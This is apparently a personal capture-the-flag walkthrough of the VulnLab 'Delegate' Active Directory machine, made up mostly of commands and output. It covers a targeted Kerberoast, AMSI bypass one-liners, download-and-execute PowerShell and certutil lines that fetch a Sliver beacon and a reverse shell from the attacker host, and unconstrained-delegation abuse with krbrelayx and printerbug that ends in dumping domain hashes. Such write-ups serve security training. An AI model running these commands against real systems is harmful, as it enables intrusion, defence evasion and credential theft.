vulnlab delegate
Delegate is an Medium rated AD machine that’s about exploiting the SeEnableDelegationPrivilege of the compromised user, and creating a machine account with unconstrained delegation.
.
NMAP Scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 10:56 CEST Nmap scan report for 10.10.90.242 Host is up (0.015s latency). PORT STATE SERVICE VERSION 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name) 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=DC1.delegate.vl | Not valid before: 2025-06-12T08:54:08 |_Not valid after: 2025-12-12T08:54:08 |_ssl-date: 2025-06-13T08:56:33+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: DELEGATE | NetBIOS_Domain_Name: DELEGATE | NetBIOS_Computer_Name: DC1 | DNS_Domain_Name: delegate.vl | DNS_Computer_Name: DC1.delegate.vl | Product_Version: 10.0.20348 |_ System_Time: 2025-06-13T08:56:28+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds
.
snip
.
.
┌──(puck㉿kali)-[~/vulnhub/delegate] └─$ smbclient //delegate.vl/SYSVOL -U puck Password for [WORKGROUP\puck]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Sep 9 09:52:30 2023 .. D 0 Sat Aug 26 05:39:25 2023 delegate.vl Dr 0 Sat Aug 26 05:39:25 2023 5242879 blocks of size 4096. 1960185 blocks available smb: \> cd delegate.vl\ smb: \delegate.vl\> ls . D 0 Sat Aug 26 05:45:45 2023 .. D 0 Sat Aug 26 05:39:25 2023 DfsrPrivate DHSr 0 Sat Aug 26 05:45:45 2023 Policies D 0 Sat Aug 26 05:39:30 2023 scripts D 0 Sat Aug 26 08:45:24 2023 5242879 blocks of size 4096. 1960185 blocks available smb: \delegate.vl\> cd scripts smb: \delegate.vl\scripts\> ls . D 0 Sat Aug 26 08:45:24 2023 .. D 0 Sat Aug 26 05:45:45 2023 users.bat A 159 Sat Aug 26 08:54:29 2023 5242879 blocks of size 4096. 1960182 blocks available smb: \delegate.vl\scripts\> get users.bat getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) smb: \delegate.vl\scripts\>
.
Bloodhound to get more info
┌──(puck㉿kali)-[~/vulnlab/delegate] └─$ bloodhound-ce-python -d delegate.vl -c all --zip -u 'A.Briggs' -p 'P4ssw0rd1#123' -ns 10.10.90.242 INFO: BloodHound.py for BloodHound Community Edition INFO: Found AD domain: delegate.vl INFO: Getting TGT for user INFO: Connecting to LDAP server: dc1.delegate.vl INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc1.delegate.vl INFO: Found 9 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC1.delegate.vl INFO: Done in 00M 05S
Upload data to Bloodhound, we find
The user A.BRIGGS@DELEGATE.VL has generic write access to the user N.THOMPSON@DELEGATE.VL.
Generic Write access grants you the ability to write to any non-protected attribute on the target object, including “members” for a group, and “serviceprincipalnames” for a user
A targeted kerberoast attack can be performed using targetedKerberoast.py.
targetedKerberoast.py -v -d ‘domain.local’ -u ‘controlledUser’ -p ‘ItsPassword’
The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash.
┌──(puck㉿kali)-[~/vulnlab/delegate/targetedKerberoast] └─$ python3 targetedKerberoast.py -u 'A.Briggs' -p 'P4ssw0rd1#123' --request-user N.Thompson -d 'delegate.vl' [*] Starting kerberoast attacks [*] Attacking user (N.Thompson) [+] Printing hash for (N.Thompson) $krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$189c6133116b10bbc11310da57b5e03e$fc8acfba09416b812537b46acf5d03560d474dcbfe2d75106d9ff6a2b2bfa1ad66ab724bb0d15901bff161c5d34c1cf547bfe9bcf222c0aa1cf15eb199d06893de13cac458e1eee00f82dceb894cca163878a57d0fb4a33bc47f1aba7dd58b6cce809460efee1fbdde00ad7e4fea479f37e92701a899cc825b8232111536f3cee452f2ede8902e9a61732f35e7e45a95b5b1df5d9a31aa1564ffba632101071eb0a1bb3c112350a66e980a285650fbe9be26a76a25eaf796e4f1299daea39ca68ba29e5f78ee038284a41983e04c8a011d60ea1eb697cd985eac36c0109d45400572fc414816eda8c98d45460f0b5f25121f3c7b538f53bf3c229ca950633127c6e4192af760808d278406d4717a2ae234d46cff64c6fe2665eee00fb7478b96d2c306c6888746058836faaa6ec0af061cce02c71b9914fd1de8dab464310f6daff7dcbe7e1f9ada201f19cda8645e0c3b6e373cb3b9b55400eccdb9b8e144a7c314d7d47c71e2d5c96b1228e337ae33711b8617bb4e64e26d6d467e96883b486c98803e5f2235dcd202e2cddd14c520162d51013168e66caed176b014f7bc9968e270512e9cb7af955c4d3badc52297f86fd48dcb8c5869f41eec75ccde6d9ae043305e5a10611c0d1dee8fb9a87dfe39c8dcf186c6afe31a465ab01e98b465b533d2a8a041cfb1133d8676a2acbafad5d8db455f6463f2a4a8bfa83993e74da7d27f32c2857d8a17e5b01e09b72b95313815b3630559a99493176c04ef23161f5f8ba0de27a5e63a7d694941e7c9c3a9636bbdf48825efc74cf9005f09e105639fdeeaf6f1d9b1c0ee42727d0047a81fac5a91ab82a648e80839e71f144aa7b977aa85f270c68f7f52789434d767d4deaf84f6023c13304ebaaaeb001ada0cba35d91503c1759026b081bd5e2b554a41f9f53aa51813d737cb72a142d692fb4daf3c013df2969188838946247b4adc6888d928adbc341788922aba18089d073e18a18788b7fbb120f6dcc7b572c63c2f021e77814623137b1727fa774cb41c5cb3a28e11b55ade7606f2a211d71fd356d687101ab01ed90e15f6cc48e07a39685fda19bb61bcc91a7b1da2136591bf03c6717418b16cb633978c0417053172ec484c9ca87acf47afd624c6550fc841c7817c6b3a205b6131a7f6ebaa7cd545dff0f6f918561f8d1f731a64a4db8924bf6b93240c748acca733351528d7394d77266ef838fd05f4dd6b0480023a25f60dc472f84a09a4e007adbeeb3591270d920cd6ada00acda283a88146102d3d40ce72c779e5ab1c17791a8967278277140dc1856b0371c9933300fab33033fd788099986d2eea390786969a0d519f828e21aebf67e72c444f323f0bb36926e8999e2f88f0b061b6e1e744b9f8941f0afd74f3e7aa216e860bcd3e6083fd69d36263a28af231bbd3ca6fb67bece15f10d8345d07b9
.
Privesc
We can log into the machine with evil-winrm
and enumerate N.Thompson’s privileges.
We can see that they have the SeEnableDelegationPrivilege
enabled.
We can abuse unconstrained Kerberos delegation in Active Directory (AD) to elevate privileges to SYSTEM. We can use the krbrelayx
toolkit, which leverages unconstrained delegation to obtain Ticket Granting Tickets (TGTs) from users connecting to an attacker-controlled host.
First, we need to check to make sure that ldap
signing is turned off and there are available machines in the machine quota.
┌──(puck㉿kali)-[~/vulnlab/delegate] └─$ nxc ldap delegate.vl -u 'N.Thompson' -p 'KALEB_2341' -M maq LDAP 10.10.90.242 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) LDAP 10.10.90.242 389 DC1 [+] delegate.vl\N.Thompson:KALEB_2341 MAQ 10.10.90.242 389 DC1 [*] Getting the MachineAccountQuota MAQ 10.10.90.242 389 DC1 MachineAccountQuota: 10
Win-RM to the DC
┌──(puck㉿kali)-[~/vulnlab/delegate] └─$ evil-winrm -i dc1.delegate.vl -u 'N.Thompson' -p 'KALEB_2341' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\N.Thompson\Documents>
.
.
Next, we upload Powermad.ps1
to the machine and use it to set up our attacker controlled machine account and then set the UserAccountControl
attribute. We want to set the useraccountcontrol
attribute to the value 528384
, which includes the TRUSTED_FOR_DELEGATION
flag (indicating unconstrained delegation privileges).
Check if AMSI is enabled -> yes
*Evil-WinRM* PS C:\windows\tasks> Import-Module .\PowerView.ps1
This script contains malicious content and has been blocked by your antivirus software.
AMSI bypass
*Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/AMSIBypassPatch.ps1")|iex Protection Disabled *Evil-WinRM* PS C:\windows\tasks> Import-Module .\PowerView.ps1 *Evil-WinRM* PS C:\windows\tasks> Get-NetDomain Forest : delegate.vl DomainControllers : {DC1.delegate.vl} Children : {} DomainMode : Unknown DomainModeLevel : 7 Parent : PdcRoleOwner : DC1.delegate.vl RidRoleOwner : DC1.delegate.vl InfrastructureRoleOwner : DC1.delegate.vl Name : delegate.vl
.
*Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/AMSIBypassPatch.ps1")|iex Protection Disabled
Or AMSI disable with EVIL-WINRM
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 At C:\programdata\PowerView.ps1:1 char:1 + #requires -version 2 + ~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. At C:\programdata\PowerView.ps1:1 char:1 + #requires -version 2 + ~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ParserError: (:) [], ParseException + FullyQualifiedErrorId : ScriptContainedMaliciousContent *Evil-WinRM* PS C:\programdata> menu ,. ( . ) " ,. ( . ) . (" ( ) )' ,' (` '` (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( _".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _') \_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \ | __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \ | \\ /| | |__ /_____/ \ /| | | \ | \/ Y \ /_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ / \/ \/ \/ \/ \/ By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers [+] Bypass-4MSI [+] services [+] upload [+] download [+] menu [+] exit *Evil-WinRM* PS C:\programdata> Bypass-4MSI Info: Patching 4MSI, please be patient... [+] Success! Info: Patching ETW, please be patient .. [+] Success! *Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata>
Next
Delegation
Loggend in as n.thompson via winRM we can check with ‘whoami /priv’ his privileges and also can find the user flag.
there is one interesting Enabled: SeEnableDelegationPrivilege
There is great blog post about delegations: https://en.hackndo.com/constrained-unconstrained-delegation/
Basically this post contains all relevant information and also the useful tool Powermad.ps1: https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/
We can upload the script and run the following commands:
- We want to create a new machine account, as we are the creator we own them
New-MachineAccount -MachineAccount PWNED -Password $(ConvertTo-SecureString '12345' -AsPlainText -Force)
- Next (and this is important) we need to enable unconstrained delegation for this machine account, this is only possible because we have the SeEnableDelegationPrivilege token
Set-MachineAccountAttribute -MachineAccount pwned -Attribute useraccountcontrol -Value 528384
- Now we are using the tool https://github.com/dirkjanm/krbrelayx to add a new SPN to the machine account
python addspn.py -u 'delegate.vl\pwned$' -p '12345' -t 'pwned$' -s 'http/pwned.delegate.vl' dc1.delegate.vl
- add add a DNS entry to the DC DNS which points this SPN to our attacker machine
python dnstool.py -u 'delegate.vl\n.thompson' -p KALEB_2341 -r pwned.delegate.vl -d 10.8.0.84 --action add -dns-ip 10.10.65.221 DC1.DELEGATE.VL
- now we need the ntlm hash for the machine account password
iconv -f ASCII -t UTF-16LE <(printf "12345") | openssl dgst -md4
- start a listener via krbrelayx and the machine account hash
sudo python krbrelayx.py -hashes :589eab4260de801abfff1dd157af9f8f
- and trigger a ntlm authentication from the DC machine account to our target
python3 printerbug.py delegate.vl/'sec77$:Start.1234'@dc1.delegate.vl sec77.delegate.vl
thi gives use a kerberos ticket of the dc machine account, which we then can use to dump the hashes
cp DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache delegate.ccache
export KRB5CCNAME=delegate.ccache
impacket-secretsdump -k dc1.delegate.vl
with the admin account hash we can then connect via winRM to retrieve the root flag
Using powermad & printerbug
certutil.exe -urlcache -f http://10.8.2.138/powerpoint.exe power.exe [sliver beacon]
sliver > https –lport 8443
sliver > jobs
ID Name Protocol Port Stage Profile
==== ======= ========== ======
1 https tcp 8443
[*] Beacon 9bc2112c sitecar-3 – 10.10.134.198:50150 (ws01) – windows/amd64 – Wed, 20 Nov 2024 12:31:32 CET
sliver > use 9bc2112c-9bb3-44c5-a1fd-038fff83264e
[*] Active beacon sitecar-3 (9bc2112c-9bb3-44c5-a1fd-038fff83264e)
sliver (sitecar-3) >
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) …
10.10.248.86 – – [20/Nov/2024 10:41:55] “GET /AMSIBypassPatch.ps1 HTTP/1.1” 200 –
10.10.248.86 – – [20/Nov/2024 10:53:37] “GET /PowerView.ps1 HTTP/1.1” 200 –
10.10.248.86 – – [20/Nov/2024 11:11:54] “GET /amsi.txt HTTP/1.1” 200 –
from beacon
sliver (sitecar-3) > execute powershell.exe (new-object system.net.webclient).downloadstring(“http://10.8.2.138:8000/AMSIBypassPatch.ps1”)|iex
[*] Tasked beacon sitecar-3 (39a54d03)
[+] sitecar-3 completed task 39a54d03
[*] Command executed successfully
sliver (sitecar-3) >
cat amsi.txt
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
sliver (sitecar-3) > execute powershell.exe (new-object system.net.webclient).downloadstring(“http://10.8.2.138:8000/amsi.txt”)|iex
[*] Tasked beacon sitecar-3 (305d3b54)
[+] sitecar-3 completed task 305d3b54
[*] Command executed successfully
sliver (sitecar-3) > execute powershell.exe (new-object system.net.webclient).downloadstring(“http://10.8.2.138:8000/PowerView.ps1”)|iex
[*] Tasked beacon sitecar-3 (ef02a107)
[+] sitecar-3 completed task ef02a107
[*] Command executed successfully
certutil.exe -urlcache -f http://10.8.2.138:8000/rcat_10.8.2.138_443.exe rcat_10.8.2.138_443.exe
So we execute-shellcode -i /payloads/UnmanagedPowerShell.bin , and then we add a dns entry with New-ADIDNSNode -Tombstone -Verbose -Node kali.delegate.vl -Data 10.8.2.138
check with amsi-bypass and PowerView.ps1 loaded into memory if it worked
(new-object system.net.webclient).downloadstring(“http://10.8.2.138:8000/AMSIBypassPatch.ps1”)|iex
get-domaincomputer -unconstrained | select distinguishedname, useraccountcontrol
*Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/PowerView.ps1")|iex At line:1 char:1 + #requires -version 2 + ~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. At line:1 char:90 + ... webclient).downloadstring("http://10.8.2.138:8000/PowerView.ps1")|iex + ~~~ + CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand *Evil-WinRM* PS C:\windows\tasks> *Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/AMSIBypassPatch.ps1")|iex Protection Disabled *Evil-WinRM* PS C:\windows\tasks> (new-object system.net.webclient).downloadstring("http://10.8.2.138:8000/PowerView.ps1")|iex *Evil-WinRM* PS C:\windows\tasks> get-domaincomputer -unconstrained | select distinguishedname, useraccountcontrol distinguishedname useraccountcontrol ----------------- ------------------ CN=DC1,OU=Domain Controllers,DC=delegate,DC=vl SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION CN=PWNED,CN=Computers,DC=delegate,DC=vl WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION *Evil-WinRM* PS C:\windows\tasks>
.
Next, we are going to now get the NTLM hash for the password we set, we can do this with some simple python:
import hashlib
print(hashlib.new(‘md4’, ‘12345’.encode(‘utf-16le’)).hexdigest())
7A21990FCD3D759941E45C490F143D5F
setup the listener ( waiting for connection then)
use dnstool, and start printerbug
┌──(puck㉿kali)-[~/vulnlab/delegate/krbrelayx] └─$ python3 dnstool.py -u 'delegate.vl\pwned$' -p 12345 -r PWNED.delegate.vl -d 10.8.2.138 --action add -dns-ip 10.10.90.242 DC1.delegate.vl [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
get the KerberosTicket
──(puck㉿kali)-[~/vulnlab/delegate/krbrelayx] └─$ export KRB5CCNAME=$(pwd)/DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache ┌──(puck㉿kali)-[~/vulnlab/delegate/krbrelayx] └─$ klist Ticket cache: FILE:/home/puck/vulnlab/delegate/krbrelayx/DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache Default principal: DC1$@DELEGATE.VL Valid starting Expires Service principal 06/13/2025 11:58:49 06/13/2025 20:55:27 krbtgt/DELEGATE.VL@DELEGATE.VL renew until 06/20/2025 10:55:27
use impacket-secrectsdump to get the hashes.
┌──(puck㉿kali)-[~/vulnlab/delegate] └─$ evil-winrm -i dc1.delegate.vl -u Administrator -H 'c3219<redacted>ee93' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
That’s it! We created a machine account with unconstrained delegation privileges. We then used that machine to intercept the Domain Controller’s (DC) Kerberos Ticket Granting Ticket (TGT). Using that ticket, we were able to authenticate as the DC and dump all of the password hashes.
After rooting the box verified if Defender was enabled on box : yes
*Evil-WinRM* PS C:\windows\tasks> get-mpcomputerstatus AMEngineVersion : 1.1.23080.2005 AMProductVersion : 4.18.23080.2006 AMRunningMode : Normal AMServiceEnabled : True AMServiceVersion : 4.18.23080.2006 AntispywareEnabled : True AntispywareSignatureAge : 415 AntispywareSignatureLastUpdated : 10/2/2023 5:06:19 AM
Resources
https://github.com/ShutdownRepo/targetedKerberoast https://hashcat.net/wiki/doku.php?id=example_hashes https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ https://github.com/Kevin-Robertson/Powermad https://github.com/okankurtuluss/amsibypasspatch
.